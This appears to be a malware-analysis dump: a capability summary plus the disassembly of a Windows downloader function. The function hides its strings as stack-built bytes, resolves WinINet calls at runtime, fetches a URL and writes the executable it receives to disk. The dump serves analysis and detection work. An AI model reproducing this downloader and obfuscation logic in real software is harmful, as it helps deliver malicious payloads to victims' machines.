Function at 0x40124e
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
jmp 0x40a770
sub esp, 0x44c
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, 1
push esi
push edi
mov dword [esp + 0x50], eax
mov dword [esp + 0x4c], eax
xor esi, esi
mov al, 0x6f
mov bl, 0x65
push str.InternetOpenA
push str.WININET.dll
mov dword [esp + 0x4c], esi
mov dword [esp + 0x5c], esi
mov byte [esp + 0x2c], 0x4d
mov byte [esp + 0x2d], al
mov byte [esp + 0x2e], 0x7a
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], 0x6c
mov byte [esp + 0x32], 0x61
mov byte [esp + 0x33], 0x2f
mov byte [esp + 0x34], 0x34
mov byte [esp + 0x35], 0x2e
mov byte [esp + 0x36], 0x30
mov byte [esp + 0x37], 0x20
mov byte [esp + 0x38], 0x28
mov byte [esp + 0x39], 0x63
mov byte [esp + 0x3a], al
mov byte [esp + 0x3b], 0x6d
mov byte [esp + 0x3c], 0x70
mov byte [esp + 0x3d], 0x61
mov byte [esp + 0x3e], 0x74
mov byte [esp + 0x3f], 0x69
mov byte [esp + 0x40], 0x62
mov byte [esp + 0x41], 0x6c
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], 0x29
mov byte [esp + 0x44], 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push esi
push esi
lea ecx, [esp + 0x30]
push esi
push ecx
call eax
mov edi, eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x5c], edi
call esi
test edi, edi
jne 0x40a853
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44c
ret
push str.InternetOpenUrlA
push str.WININET.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x460]
push 0
push connect
push 0
push 0
push edx
push edi
call eax
push 0
mov dword [esp + 0x44], eax
call esi
mov eax, dword [esp + 0x40]
test eax, eax
jne 0x40a899
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44c
ret
mov eax, dword [esp + 0x464]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov dword [esp + 0x4c], eax
call esi
cmp dword [esp + 0x48], 0xffffffff
je 0x40a9a0
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x5c]
mov byte [esp + 0x10], 0x49
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x11], 0x6e
push ecx
push str.WININET.dll
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x72
mov byte [esp + 0x1d], 0x6e
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], 0x52
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], 0x61
mov byte [esp + 0x23], 0x64
mov byte [esp + 0x24], 0x46
mov byte [esp + 0x25], 0x69
mov byte [esp + 0x26], 0x6c
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], al
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x44]
lea ecx, [esp + 0x5c]
push edx
mov edx, dword [esp + 0x44]
push 0x400
push ecx
push edx
call eax
xor edi, edi
push edi
call esi
cmp dword [esp + 0x50], edi
je 0x40a963
cmp word [esp + 0x5c], 0x5a4d
jne 0x40a98d
mov ecx, dword [esp + 0x44]
lea eax, [esp + 0x54]
push edi
push eax
mov eax, dword [esp + 0x50]
lea edx, [esp + 0x64]
push ecx
push edx
push eax
mov dword [esp + 0x64], edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esp + 0x44], edi
jbe 0x40a991
jmp 0x40a8c9
mov dword [esp + 0x4c], edi
mov ecx, dword [esp + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x58]
push str.InternetCloseHandle
push str.WININET.dll
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
mov ebx, eax
call esi
mov edx, dword [esp + 0x40]
push edx
call ebx
push 0
call esi
push edi
call ebx
mov eax, dword [esp + 0x4c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x44c
ret